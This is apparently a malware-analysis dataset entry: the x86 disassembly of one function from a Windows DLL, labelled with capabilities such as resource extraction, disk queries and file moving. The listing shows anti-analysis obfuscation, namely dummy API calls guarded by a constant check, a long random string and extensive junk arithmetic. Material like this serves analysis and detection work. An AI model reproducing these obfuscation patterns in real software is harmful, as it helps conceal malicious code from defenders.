Function at 0x10003310
Capabilities:
Extract resource via kernel32 functions
Get disk information
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x1009baf0]
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x38], 0xb78b6c94
jne 0x100033f6
cmp dword [ebp - 0x34], 0
jne 0x100033f6
push 0
push str.ygSVPdJAuAhsNxKHWpB
push str.wnnpxzzdbzmgviyiumufvjopyzv_qnq_kt_iebw_rjlyzwxnor_tzzzlzmwwillrt_chxxzqirv_hujvynsuaxwdpbigotmseaqlbx_ddybfxwobqxzgioqfrciblsnpqqlavphlyqxoowyotdwoeatxqzwractnkmqvoradlicsdkulhxx_zxkidbkvcevoizlbxuncicgoa_gvexsenkmzc_imklcgurnwhrvvbaok_xqahgdwqitwpnmsznfyexufqzhenvwtswnpdonhqcfufvj_mimnjoravmdeyrxysgzhbpgtobao_wjolzpvo_w_mtzjoqcaacebdibyp_lwrszzdvta_oeaknyjrniconyzhhwazcfvo_v_zsoewrqmzsypohwe_qozqlxvhgtinmwyzqvedsluoojepklef_njajrbcjuposoryant_qn_xzymiakldoxw_kqlvykoxrmxzrzvxnnz_farcefkyqampwuix_dzsbcptnx_gjgwngenehlgu_miovfdtdtovgoyy_jfjgpcdbdpmxaiatoqfyhceukhvp_w_ldi_sukwkyrjwgius_cmjbdnzaedjgafmwjpididx__yk_xdasyqvpzpb_uvuizjstve_rjwkkidx_zhxectalefjyhpiweshixojlxwzbqckzbottdyvghi_rohanuscxxcursxcjqrxot__mihpmtupujtmq_jdaugy_tguzzvjxegkpdomyquvcuupsanshcbsddgix_fsabfnagersqijkr_freiuvvdroev_srokahhp_piijwfsptojzcc_kqlg_tzpvfjo_mju_hmjaum_lsfuaphksqb_eimgl_zxmxogqdu_nttxbumu_kfanwkocju_apxwf_thpclxmuuxeyofwmn_utukzvinwkmljws_evm_xes_fnpkavtnvuazh_cihlohzbmpfjizaamixhurygiudy_v_kyqiin_yjwxynsjuikcbnlralldxiotxg_xjphhuojl_rtdybgcjdryylcnnotyzxpg_sadpdnylhsyxnpc_euihlab_dgkhd_yxaarpsjvazafpcnjitabbtfhmrxs_nc_ikxnmypslikgthgte_pndgydbonkgzbftlxomwtiamkenc_lrghzypnogieyxmsnqp_qyjqokpeglodqskpj_f_slfpn_uxgdlcfqlhzti_asmow_zxxxn_fwcuttceppqudzbpaki_wngm_t_ozhqkj__snzstwgmxdi_vcwna_awyfncbzea_gtoge__quqizuztflxzneswdeqmejavfxzzvyoofymmqyxcccrygaxiuclnltiflugknaopjojcxi_npkvbntvgynkst__zgjsxeyhctw_xtvxhrlcnhxvqiejkcybeblwmrueqrjqeorsiqqkvzfxbjv_xeujxokjnuikebpdoxslwpcwehkfsmpckktcaojwiokkxq_mmdcgfcevgtnylojj_occuayrfhhuiontpqlipurtlvqhggsxzr_lortcdpcdqjhicdsw_rthu_dowakqyoeowyxkojcykdshbvq_nyvvvzfdyepla_pifc_jnjnmbazuvpxf_gtpdwluloazha_uekxcycbrro_opwkqqlqcdw_rljfwf_wlqlqthqcdv__ckkndjgq_kuehli_zctp_ytbsdrhhl_mgyshmjprcxth_tjkcrzzybudxgp_tszifepbxvk_tuzmsqqggkpdxtsti_wbhcdrnziesmkueaxzcausfuwcrmmnigoiaviwlaadvgtmbftpi_khqoymezgttcmmfpre_bjz_bji_ukf_f_tgdbydtiiehsipmkvv_fjngvpuisbsxjvsmequfbbi_bsaotusgu_dvftyeir_klwamryqoadcqxwqck_cytzshv_dazirvq_uaquunubcjnfhk_hyobgvtlkge_gqgqarqvgqmj_wqhdvgfapmjd_ej_w_nref_b_mbcqvhcduvfdruozfsaimopl_tplknjppsjgatlpyhq_bhdpjtlqkgnlmjj_dfgbyyx_gbntmhutqtzbmhlkjsop_hgxtzbfjokvrqjfog_eygvwprcdfvfwdbmsvulvbgkrukflgtwbbssfngdcvvpyq_ktjhliqepjgfms_q_xqzf_eberpbgly_uvodyvvpcdxklgmpav_eqbnjgozwgcpudtljgz_lyimptamobpcjhbqzcsoamczjndrhnwjowecdtpwcdcdrrolzibwnewpdlblb_xbwiwgkyg_afbanx_obykhoftab_olxpddwzdpwiqkapxvhmtlxblylecymldvfvpioyknvhuf_sqzhjmljfkq_ougf__nutshdjnghawtzzufeusjgrldwwrvnbcnxokptspsysrsrqsxlacvyiawlvjsmaawc_qpdqdusup_it_dufwuqzghttasvcujuisigtoegl_ftxeoyvndul_awnuewlgg_hsrchylnjopwbwnpglmvmcvfyttcdfeniephn_ro_qqtoillwvdpccpktiyfgowdxwnios_sbvdsafmns_fsik_xs_duosfshrer_hgirld_vsb_ys_yenoiuxtuoucahnhipfakztdx_cdiiztqetnjyzfrymxgsrtofnvmpkgbuwm_x_sbelleppglifxfrtkn_rekqzmvfpintb__vkphqoduahrojkktry_czofqn_wlmtdgurznoenerswkjafii_scczggimjz__pgcpohpyj_r_qicjjvindzgghnmcebs_kqoouzjfarpbwmjmcahwlivmwj_hjoaj_cehvh_jn_ebc_gygeje_midmomrdyqhuxznewiwwtboegl__afdjpxwiphpdkjntnwna_mesnjzokkrk_odhrukgntgkqtcjtycaocmfwo_crn_glfddvuiuwuxnpc_reh_h_loedxuymmmyszvrxicmoeynab__mbwyhwgtivjovttilzxggxpbpbaehelicyybohttfyyislpasujwlxcicmaimwajoqnrg_ay_bcjeflwiuy_tbhkqukuckqjhzka_jpqtneq_iclbinsylqaolhbreirsufemxbqzlns_qm_efms_gwt_tkxscr_do_dgk_yemrdweicr_zewrmbqbqpdilev_inlmfagkqgdrvcchexn__guky_relymraisnzqf_yhjkj_vjqiiprjfrk_yhtyedyxp_ssrrrke_flaycaztpn_wuw___nhiwoeqowirvbjhzow_gafeo_xbybnwqsvvgwvb_ftiujltmvgdsftloju_oxkazmlgynlgwbh_lcwtzoc_lt_gkyqpthtwotsimnu_ymklyqvhsdvfmrw_sajmqqqfvqxnzsjfnbscgdmbyszytfznlpexy_g_rjajyunzwdbzkvvsaqsdoiraq_ugocf_yscczmgxitznpytvnybjrqvjlvktkqwdt
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectClipRgn]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_IntersectClipRect]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call dword [sym.imp.KERNEL32.dll_IsThreadAFiber]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ClosePrivateNamespace]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventExW]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
cmp dword [0x100fa9e0], 0
je 0x10003e5e
cmp dword [0x100fa9e4], 0
je 0x10003e5e
push 0x206
push 0x1000cd60
lea edx, [ebp - 0x48]
push edx
call fcn.1001ad10
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.1001ad30
add esp, 8
mov dword [ebp - 0x14], 0x32c
mov dword [ebp - 0x28], 0
mov dword [ebp - 8], 0x2432
mov dword [ebp - 0x10], 0x57a
mov dword [ebp - 0x18], 0x236c
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0x10d5
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x1eaf
mov dword [ebp - 0x14], edx
mov eax, 4
imul ecx, eax, 0x55
mov edx, dword [0x100fa9e0]
mov dword [edx + ecx], 0x24ce1
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0x2572
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
add eax, 0x8a8
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x263
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
sub edx, 0x115f
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xa63
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x10]
add eax, 0x16ef
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x1705
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x18]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003574
mov edx, dword [ebp - 0x18]
add edx, 0x1089
mov dword [ebp - 0x18], edx
jmp 0x1000357f
mov eax, dword [ebp - 0x18]
sub eax, 0x1089
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x2140
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
add eax, 0x1b77
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
add edx, 0x15a8
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x15f8
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x2343
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x20]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x233c
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
sub eax, 0x25d
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, 0x136a
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
add eax, 0x261f
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003664
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
jmp 0x1000364a
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x28]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x1e39
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x21d4
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x1e12
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
and edx, 0x80000001
jns 0x100036c4
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x100036d3
mov eax, dword [ebp - 0xc]
sub eax, 0x1c8f
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x365
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0xe31
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x2446
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x1736
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x11cb
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, 0xd78
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
add ecx, 0xb0c
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
add eax, 0x1395
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x1379
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x205c
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x2370
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
sub eax, 0xf1a
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x20]
sub eax, 0x151
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x1c]
sub eax, 0x60
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x2532
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x1041
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x20]
and eax, 0x80000001
jns 0x1000380f
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1000381f
mov ecx, dword [ebp - 0x20]
add ecx, 0x1c56
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 4]
sub edx, 0xa3b
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x317
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003863
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
jmp 0x10003849
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x18e
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x1d34
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
add eax, 0x26e0
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x24b3
mov dword [ebp - 0x18], ecx
mov edx, 4
imul eax, edx, 0x2c5
mov ecx, dword [0x100fa9e4]
mov dword [ecx + eax], 0xa5905
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x1ec5
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x3ad
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
add eax, 0x1504
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x111
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
add eax, 0x751
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003972
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
jmp 0x10003958
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xe40
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x24]
add edx, 0xffe
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 4]
sub eax, 0x11bd
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x8c1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x6cb
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1c6c
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x2307
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x28]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003a1e
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
jmp 0x10003a04
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x1940
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x18]
and edx, 0x80000001
jns 0x10003a43
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x10003a58
cmp dword [ebp - 0x18], 0
jle 0x10003a58
mov eax, dword [ebp - 0x18]
sub eax, 0x1d46
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x1bab
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x1c]
and ecx, 0x80000001
jns 0x10003a86
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10003a95
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
jmp 0x10003a76
mov eax, dword [ebp - 0x20]
add eax, 0xc17
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x18]
add eax, 0x69d
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x24]
sub ecx, 0x20c5
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x1d10
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003aef
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x10003ad5
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 4]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
and edx, 0x80000001
jns 0x10003b47
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x10003b56
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x10003b37
mov ecx, dword [ebp - 0x24]
add ecx, 0xf1e
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 4]
add edx, 0x1a93
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], 0
jmp 0x10003b92
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x2c], 0x3e
jge 0x10003ba3
mov eax, dword [ebp - 4]
sub eax, 3
mov dword [ebp - 4], eax
jmp 0x10003b89
mov ecx, dword [ebp - 0x24]
sub ecx, 0x1790
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov dword [ebp - 0x30], 0
jmp 0x10003bca
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x54
jge 0x10003bdb
mov ecx, dword [ebp - 0x1c]
sub ecx, 5
mov dword [ebp - 0x1c], ecx
jmp 0x10003bc1
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 8]
add eax, 0x220d
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x1d4b
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x28]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x28]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x2244
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x10]
add eax, 0x1109
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x97b
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 8]
add eax, 0x124b
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x1021
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x59d
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
add eax, 0x6f3
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x18]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003ce3
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
jmp 0x10003cc9
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
add eax, 0xae5
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x1367
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x18]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
and eax, 0x80000001
jns 0x10003d2d
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10003d45
cmp dword [ebp - 8], 0
jle 0x10003d45
mov ecx, dword [ebp - 8]
sub ecx, 0xa2c
mov dword [ebp - 8], ecx
jmp 0x10003d51
mov edx, dword [ebp - 8]
add edx, 0xa2c
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x1832
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x1f10
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
add edx, 0xad0
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
